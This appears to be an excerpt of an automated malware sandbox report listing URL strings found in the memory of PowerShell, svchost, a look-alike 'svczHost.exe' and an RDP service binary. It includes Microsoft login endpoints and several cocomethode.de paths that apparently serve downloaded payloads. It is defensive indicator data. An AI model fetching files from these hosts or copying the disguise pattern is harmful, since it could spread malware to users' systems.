Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601R
Source: svchost.exe, 00000014.00000002.4923374632.00000218EF702000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&H
Source: svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4923374632.00000218EF702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601y0
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604Lv
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3813396642.00000218EFF50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924615455.00000218EFF51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4510984351.000002932AE23000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000016.00000000.4058609277.00007FF7B16C2000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013850E48000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: svczHost.exe, myRdpService.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: myRdpService.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: powershell.exe, 00000003.00000002.3609302778.0000020AB4211000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3838510070.000002513E371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F38051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AB21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000008.00000002.3792164808.0000012F50170000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931B7DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931B7DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpXz
Source: powershell.exe, 00000004.00000002.3838510070.000002513E59D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F38CB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931C2A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AEF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de
Source: powershell.exe, 00000004.00000002.3838510070.000002513E765000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba43c8e1d00e502
Source: powershell.exe, 00000004.00000002.3838510070.000002513E765000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba65e9b16659fd9
Source: powershell.exe, 00000004.00000002.3838510070.000002513F236000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e
Source: powershell.exe, 0000000D.00000002.4081585775.000002931AF2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95
Source: powershell.exe, 00000004.00000002.3838510070.000002513E59D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/OKNf
Source: svczHost.exe, 00000016.00000002.4922967901.0000013850492000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/StaticFile/RdpService/46
Source: powershell.exe, 00000004.00000002.3838510070.000002513E765000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/2f50eec7b7fe989c3602e42fe12e09ebb032005a9f9172a762eaeaff41257fe78168796
Source: powershell.exe, 0000000D.00000002.4081585775.000002931AF2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469c195e0b8ed0d1a330469aa0c9479e74ac1d07aa
Source: powershell.exe, 0000000D.00000002.4081585775.000002931AB21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/442d6d2bbbf95a0c2d98335c7cf12d9d4a2163bfd33f42547d8e2176349fc5bec999df7
Source: powershell.exe, 00000004.00000002.3838510070.000002513EA5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/7fd1a89d0020dcffe37c334092d29597499af8b82a4f37fb75f7f3a0a1257f1e979bdbe
Source: powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bcd34fb5
Source: powershell.exe, 00000004.00000002.3838510070.000002513E765000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/d51c3dcb853d6c497196480b03dbc640248fcef44df66b5a162e2d46de68ca13d57f766
Source: powershell.exe, 00000004.00000002.3838510070.000002513E765000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file3/b83fe30fc85331b12cce94a54c8621c65eea6b03791942cceb80937bd723c6b18fd123c
Source: powershell.exe, 0000000D.00000002.4510984351.000002932AB9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.4510984351.000002932AB9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.4510984351.000002932AB9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svczHost.exe, 00000016.00000002.4924718237.0000013850E48000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/MartinKuschnik/WmiLight
Source: powershell.exe, 00000008.00000002.3736924870.0000012F39523000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.3609302778.0000020AB443C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3838510070.000002513E59D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/PesterXz
Source: powershell.exe, 00000003.00000002.3609302778.0000020AB55AD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3609302778.0000020AB558F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F3954C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F39523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pesterh
Source: powershell.exe, 0000000D.00000002.4510984351.000002932AE23000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.4058609277.00007FF7B16C2000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013850E48000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dotnet/runtime
Source: powershell.exe, 00000008.00000002.3736924870.0000012F38E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.(
Source: svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.lieF-16p
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live./deviceaddcr.srf
Source: svchost.exe, 00000014.00000002.4922740715.00000218EF692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000014.00000003.3791695419.00000218EFF0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791391592.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924774143.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000014.00000003.3791695419.00000218EFF0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791391592.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791738269.00000218EFF0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000014.00000003.3791695419.00000218EFF0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791391592.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791738269.00000218EFF0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924156049.00000218EFF13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srfb005d
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791391592.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791391592.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791391592.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cplive.com
Source: svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791391592.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000014.00000002.4923374632.00000218EF702000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/Inli
Source: svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791695419.00000218EFF0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791391592.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791738269.00000218EFF0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000014.00000002.4923374632.00000218EF702000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=8060
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601Ct
Source: svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4923374632.00000218EF702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000014.00000003.3791695419.00000218EFF0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791391592.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791738269.00000218EFF0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.sr
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502dows
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3813396642.00000218EFF50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924615455.00000218EFF51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806040
Source: svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4923374632.00000218EF702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922162100.00000218EF65F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
